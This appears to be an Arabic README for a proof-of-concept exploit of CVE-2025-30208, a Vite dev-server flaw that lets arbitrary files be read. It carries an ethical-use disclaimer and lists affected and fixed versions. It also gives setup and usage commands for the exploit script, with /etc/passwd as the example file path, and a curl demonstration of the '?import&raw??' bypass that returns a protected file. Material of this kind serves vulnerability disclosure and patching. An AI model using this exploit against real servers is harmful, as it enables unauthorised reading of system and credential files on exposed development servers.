
هذا الاستغلال مخصص للأغراض التعليمية واختبار الأمان الأخلاقي فقط. استخدام هذا الاستغلال ضد أهداف دون موافقة متبادلة مسبقة غير قانوني، والمطور يخلي مسؤوليته عن أي سوء استخدام أو ضرر يسببه هذا الاستغلال.
[!IMPORTANT]
إخلاء المسؤولية
هذا الاستغلال مخصص لأغراض الاختبار الأمني التعليمي والأخلاقي فقط. استخدام هذا الاستغلال ضد أهداف دون موافقة متبادلة مسبقة غير قانوني، ويخلي المطور مسؤوليته عن أي سوء استخدام أو ضرر ناتج عن هذا الاستغلال.
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
options:
-h, --help show this help message and exit
-t <Target URL> Example: -t http://localhost:5173/
-fp <File Path> Example: -fp /etc/passwd
-i Interactive mode
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
يمكن إرجاع محتويات الملفات التعسفية إلى المتصفح.
تتأثر فقط التطبيقات التي تعرض خادم Vite التطويري للشبكة بشكل صريح (باستخدام خيار --host أو server.host).
يمنع @fs الوصول إلى الملفات خارج قائمة السماح لخدمة Vite. إضافة ?raw?? أو ?import&raw?? إلى عنوان URL يتجاوز هذا التحديد ويعيد محتوى الملف إذا كان موجودًا. يوجد هذا التجاوز لأن الفواصل اللاحقة مثل ? تتم إزالتها في عدة أماكن، ولكن لا يتم أخذها في الاعتبار في تعبيرات regex الخاصة بسلسلة الاستعلام.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...